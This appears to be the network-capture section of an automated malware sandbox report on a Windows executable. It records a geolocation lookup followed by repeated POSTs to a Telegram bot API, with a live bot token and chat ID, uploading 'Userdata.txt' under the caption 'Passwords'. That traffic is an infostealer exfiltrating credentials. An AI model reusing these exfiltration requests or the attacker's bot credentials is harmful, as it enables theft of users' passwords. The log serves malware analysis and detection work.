2025-01-10 21:14:17 UTC	1390	IN	Data Raw: 4d 6c 27 78 5b f3 96 33 71 52 54 cb 83 a5 f2 f3 e3 7b 73 8a 03 43 c9 98 69 16 3f b6 c5 20 d7 ee f9 6e 47 1f 99 df 02 23 c6 20 ab 4c db d4 f7 96 47 a2 e6 af 5f 1f e1 d6 b3 cf 3b 5a 0f b2 3e 38 88 ab 02 86 e1 2a a9 6c 11 14 fc 72 12 72 02 2a fe d7 59 18 d5 b0 d5 3d 15 64 b0 c5 aa a4 99 bc 29 07 e4 77 ff 0a 1b fd c8 9e 3f d4 3d 91 40 27 d9 b9 ed e5 e3 90 e4 dd 2f 73 2d 5c 1e 89 e1 1e 4d 3e 38 3f 8a ba 0c b3 1e 20 82 af dd f6 ba c2 f9 b5 3e c8 24 47 c6 d3 cd ac f9 1e 09 3e 5d c8 0d b8 04 2e 53 0f 1f 77 36 d9 97 46 da aa 74 9c 2a b3 58 40 23 d3 75 a8 ed e4 92 a3 35 d8 7a cb 07 7e a2 c2 1c f0 4e 5c e5 a0 f2 20 29 3b 05 02 07 e2 9a 27 1a 7a 87 00 1c f9 2f 07 58 46 bd 15 61 31 47 b0 18 08 bb a3 b6 a4 45 86 30 af 53 54 dd 08 00 a0 e4 de cf 12 58 3b 5d b5 58 38 4a Data Ascii: Ml'x[3qRT{sCi? nG# LG_;Z>8lrrY=d)w?=@'/s-\M>8? >$G>].Sw6Ft*X@#u5z~N\ );'z/XFa1GE0STX;]X8J
2025-01-10 21:14:17 UTC	1390	IN	Data Raw: 6a 71 64 9c 52 3a 20 71 a3 57 eb 36 9c f6 b1 b2 ef e1 2c d0 f0 ad 06 6b 1a b5 89 83 f6 38 7b b9 3c 22 b3 f5 11 99 8b fb b2 29 19 cb 5e 2a b7 3b 6c 25 ca 25 a3 88 2c 21 4d 88 32 7f 29 d6 01 91 29 47 66 25 b3 a6 88 d4 6d 82 e3 bc 08 49 19 fa 26 33 82 99 29 af be 53 7d 60 ec 24 21 65 71 e9 5f c8 b4 3b f8 9f 70 70 18 e7 ed d7 62 f4 db 47 38 e1 56 8a 34 16 2a dd dd 69 f9 ef b7 16 2d ce b3 be 56 09 b5 69 c9 7d f6 49 cf 0a 3d 4a 35 63 84 fc e4 36 45 37 b7 e3 51 3a fa 36 5e e1 97 19 cd 18 a2 af 7e b5 e0 21 b0 be d8 b8 9b 9f 8e 58 a6 4b 9c fc fc 4d 94 a5 24 f9 fc dd c4 fe c2 23 d0 5c 0c 8e 93 24 2e 1b f8 27 5b ad b8 54 70 5e cd e9 cd 77 a6 65 74 58 f5 a1 7d 6e 0a 22 f8 e8 40 71 cc 60 69 44 f4 0b 41 46 5a 93 f5 b9 81 b1 ab eb 30 1e a5 0f 6c e4 b2 4a 93 77 38 e7 c7 Data Ascii: jqdR: qW6,k8{<")^;l%%,!M2))Gf%mI&3)S}`$!eq_;ppbG8V4i-Vi}I=J5c6E7Q:6^~!XKM$#\$.'[Tp^wetX}n"@q`iDAFZ0lJw8
2025-01-10 21:14:17 UTC	1390	IN	Data Raw: 90 0c 3b 55 0e 11 26 95 b1 ce 4e 51 15 75 a6 01 3b 7b a8 87 a8 48 27 9d 5a 64 34 6c c6 80 02 54 b8 99 3e 2e 6c e2 e3 a3 c5 74 a2 4a 8c 6c 22 a4 87 5d 3d 14 f2 22 53 3a 10 70 95 9f 73 61 f2 b3 bd ba d4 79 20 84 6a f6 af f5 9d 65 d2 bb 30 a0 2b 64 6f 20 65 a3 3b cd fb ec 3c 54 d8 30 16 81 84 3b fb 4d 42 6d f0 59 1f 7a 16 57 2b c6 a0 ce 60 de f2 a6 d6 97 5e cd 5d 8b f6 3e bb ed f8 09 2a d7 28 34 e8 6e cc 29 6e 24 f9 0d 0c ca 67 05 7f 6c 5d 32 56 3b 8c ff c9 ad b3 2b 75 15 df 32 95 88 f3 ad 83 b3 c1 2e 1e 50 ad 26 2e 1d c3 91 74 29 e2 ac 33 2c d6 d6 b7 d3 d0 20 bc 5f 38 fd c8 da d0 fa 96 2f 6b 97 ff fd 8d 84 0e f1 88 f9 00 47 5d a5 f2 58 71 a9 08 5a bb 6c f7 c8 7d 66 34 30 1d 05 ad c4 2d 16 d2 8e 9c f4 c5 25 28 3e c4 9c 01 df 6f 92 df 48 87 23 b8 0a 45 f8 6f Data Ascii: ;U&NQu;{H'Zd4lT>.ltJl"]="S:psay je0+do e;<T0;MBmYzW+`^]>*(4n)n$gl]2V;+u2.P&.t)3, _8/kG]XqZl}f40-%(>oH#Eo
2025-01-10 21:14:17 UTC	1390	IN	Data Raw: a8 7f 72 30 1b 92 52 b6 56 a2 84 17 e8 91 76 b3 ca 44 b0 f8 84 52 b6 ff 1f 41 7d 6b 07 67 c7 4a 0b 63 68 25 3e 9c 0c 28 f3 3c f6 c2 e6 7d d9 b1 69 19 e9 5b 03 82 2e 4e be 5a 1b 94 0f 93 6b da 5f ad e6 ce 78 21 64 ce 24 e7 c4 cf 1b ad e5 9c c3 97 19 bc 8b 64 9e 30 ff 19 ab 9e ab 46 4d d3 47 f3 7d 19 e3 65 cd df 15 67 dd 69 8e 9e 08 9d ca a9 bb c1 1c 20 d2 38 53 95 c9 4c 27 53 28 12 86 db f2 76 ea 40 f9 8b 26 66 9d 52 dc 6a 68 07 68 fb 30 12 49 b6 65 3e 63 c3 72 8c 2e 82 bb 3a 0f f4 c1 46 28 25 cb b1 73 e3 9e cd 5b 40 81 84 63 e3 f3 1f 5e 8e 65 5d 3a f8 f4 55 3f d0 5a f2 8d f2 de ce 02 66 3a da 83 33 01 db 51 d2 a2 60 36 f3 e9 75 c0 a8 6b ad 93 8d 19 09 48 93 de 2f d7 77 f9 6e 4b 95 00 c3 70 45 c0 25 db ff f7 06 15 93 4d c1 f4 f9 d1 1f e1 d8 b4 35 10 05 0a Data Ascii: r0RVvDRA}kgJch%>(<}i[.NZk_x!d$d0FMG}egi 8SL'S(v@&fRjhh0Ie>cr.:F(%s[@c^e]:U?Zf:3Q`6ukH/wnKpE%M5
2025-01-10 21:14:17 UTC	1390	IN	Data Raw: 9f 29 c7 35 82 48 16 9a c5 52 e6 ed 90 ee b2 2b 69 1d 5c 71 c6 e3 1e 47 3a ac 3f 9b bc 6c 63 0f 29 9c 5a c6 68 8f d3 f3 a2 e5 df 45 86 c2 d8 91 18 f4 a3 7b d8 42 d9 78 75 7e 36 21 07 18 7e 6e ee b2 5f ae a7 67 9c 5a 11 7f 74 30 ff c5 25 7c ee 9a b3 17 bc 98 09 07 0e c7 65 26 e6 48 43 d5 7f f2 2a 0b 25 20 15 7f 2f 9f 27 01 0c 18 f4 19 89 30 ce 70 c7 b7 b7 4e 3f c7 6d 09 0d c3 33 57 b3 35 e0 77 f1 53 54 dd bc db ba c5 13 c3 03 5e 65 87 b0 d5 77 25 3e d9 34 d7 e0 f2 b8 32 da 92 5b 6d de a8 3a f8 37 2c 42 b2 f1 f7 b9 78 e7 6c 34 f4 ca 28 5b 9f 53 18 0b b8 dc 15 8a 5b bb aa 1b d5 72 98 16 3e 7a 8b 2c 60 a4 de f5 46 82 f8 c2 58 fe ec 0e 8d ff bc 02 fa 1b c7 d9 9d f6 48 05 55 2b f4 aa e5 d6 f1 75 fd 8c c3 f4 24 b0 24 c5 b1 66 00 92 3e ed 88 26 38 50 99 0b 3c 30 Data Ascii: )5HR+i\qG:?lc)ZhE{Bxu~6!~n_gZt0%\|e&HC*% /'0pN?m3W5wST^ew%>42[m:7,Bxl4([S[r>z,`FXHU+u$$f>&8P<0
2025-01-10 21:14:17 UTC	1390	IN	Data Raw: 13 f9 c4 7d 10 f3 c6 32 c7 4d 88 dc 84 55 1e d1 78 f5 3d fb 18 b7 e0 a4 ad 4e 3d ba 37 29 7f e5 21 6d 04 2f 43 80 55 84 8e d9 30 52 9d 06 dc 5e 38 e5 ac 4d f9 e5 5f c9 0c c3 16 ca b1 d1 15 05 8a d0 db 4b 2c 91 57 2b 6d 2d e8 ed 5c 16 b7 67 08 fd cb 3e ee e4 0a 88 4f 10 95 0f 38 33 0a e1 1e a2 bd bf 43 b7 5b d9 e6 db 72 b1 40 05 8e ce 5e 7d 64 c7 2d cc de 61 6e e4 af 7a 4a fe 0b 5d 46 5a 93 38 af f3 79 ef f7 40 0d 85 1e 7a 96 23 50 93 07 00 15 c7 83 71 cd 6d 66 80 31 ea b2 42 13 c1 a8 57 f8 a1 09 90 d2 a5 2d da 4e e8 53 33 cc 11 a5 8d 59 fd 12 bd cc 1b 26 41 7d 16 a4 df 1b 6c 90 1c 19 86 0e 17 06 9e b6 ec 38 56 15 67 a1 72 ec 4a a8 81 b5 40 57 b5 8e 7f 44 73 3c ce 02 52 94 9a 47 70 35 e2 e5 b5 13 60 8c a4 9f 6b 10 a5 78 5c 30 15 f0 20 30 57 20 79 f1 e3 a2 Data Ascii: }2MUx=N=7)!m/CU0R^8M_K,W+m-\g>O83C[r@^}d-anzJ]FZ8y@z#Pqmf1BW-NS3Y&A}l8VgrJ@WDs<RGp5`kx\0 0W y
2025-01-10 21:14:17 UTC	1390	IN	Data Raw: 1f b6 57 2b e6 c9 e8 60 de f8 b5 df 86 44 b9 c0 8b a1 3e a8 e7 83 02 45 2a 38 34 e2 7d 83 38 65 36 ee 2c 04 e6 02 15 75 03 90 32 56 20 9b 8f 2a 85 6b 21 1a 1f ac ab ba a0 e9 85 cd b9 cd 24 14 50 ba 06 b9 9d c3 9b 75 3d d6 fb 3f 01 66 0e d3 15 d8 55 ab 53 30 8e be cb c1 82 8c ec 6b 97 f8 b4 84 eb dd fb 88 23 1f 13 27 b8 3e 5c ac 86 c9 d6 e2 6c ff d8 69 13 54 37 0c 72 d4 19 a3 7f cf 59 bc 83 c2 57 5c 22 c4 fd 69 1e 79 ba 3e 5b 83 21 ba 09 e9 44 56 26 a3 7f e7 28 2f b3 99 39 7d d3 cd ae 4a fc 0e cf f4 83 02 02 96 9c fa 37 d4 10 ab 1c 32 23 2d 11 8c c6 39 f1 65 99 f0 9a da 68 25 91 6a 7b 58 e4 93 41 8f 47 a8 83 e9 f6 9e 55 7a c1 68 ac a2 0e 4f b6 85 26 0a 12 34 0d 6d cd 5d 2a b3 fd 25 34 91 18 14 b5 3d f6 e9 c0 0e 26 1b 69 1f ef 5b 60 df 40 d2 d2 35 b9 fb da Data Ascii: W+`D>E84}8e6,u2V k!$Pu=?fUS0k#'>\liT7rYW\"iy>[!DV&(/9}J72#-9eh%j{XAGUzhO&4m]*%4=&i[`@5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49973	104.21.32.1	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:20 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 21:14:20 UTC	853	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:20 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1858449 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NE2tyNPHHAr5EZJ2sNDurrU1J2GXhTku2gReWSuKdpVbFhycH8PpGWyKQUajw6UUmCArcrWUdoZXJhF2DAztjF0p%2BuLMRe9i7qDLvlFhkxa%2FHv2tQN8ZpjaKXW9MXGJswtuFI3fF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fffad159c448cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1919&min_rtt=1852&rtt_var=742&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1576673&cwnd=243&unsent_bytes=0&cid=2ebfdad100d54153&ts=291&x=0"
2025-01-10 21:14:20 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49974	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:26 UTC	299	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31a2051f68ff Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 21:14:26 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 61 32 30 35 31 66 36 38 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31a2051f68ffContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:27 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:27 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:27 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 36 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43555,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543667,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49976	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:29 UTC	299	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31c2157956b1 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 21:14:29 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 63 32 31 35 37 39 35 36 62 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31c2157956b1Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:29 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:29 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 36 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43556,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543669,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49978	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:31 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31d84ced9d6a Host: api.telegram.org Content-Length: 1090
2025-01-10 21:14:31 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 38 34 63 65 64 39 64 36 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31d84ced9d6aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:31 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:31 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 37 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43557,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543671,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49980	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:33 UTC	299	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31ee72096cab Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 21:14:33 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 65 37 32 30 39 36 63 61 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31ee72096cabContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:14:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:14:33 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:14:34 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 33 36 37 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43558,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736543673,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49982	149.154.167.220	443	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:14:35 UTC	275	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3205e599678f Host: api.telegram.org Content-Length: 1090
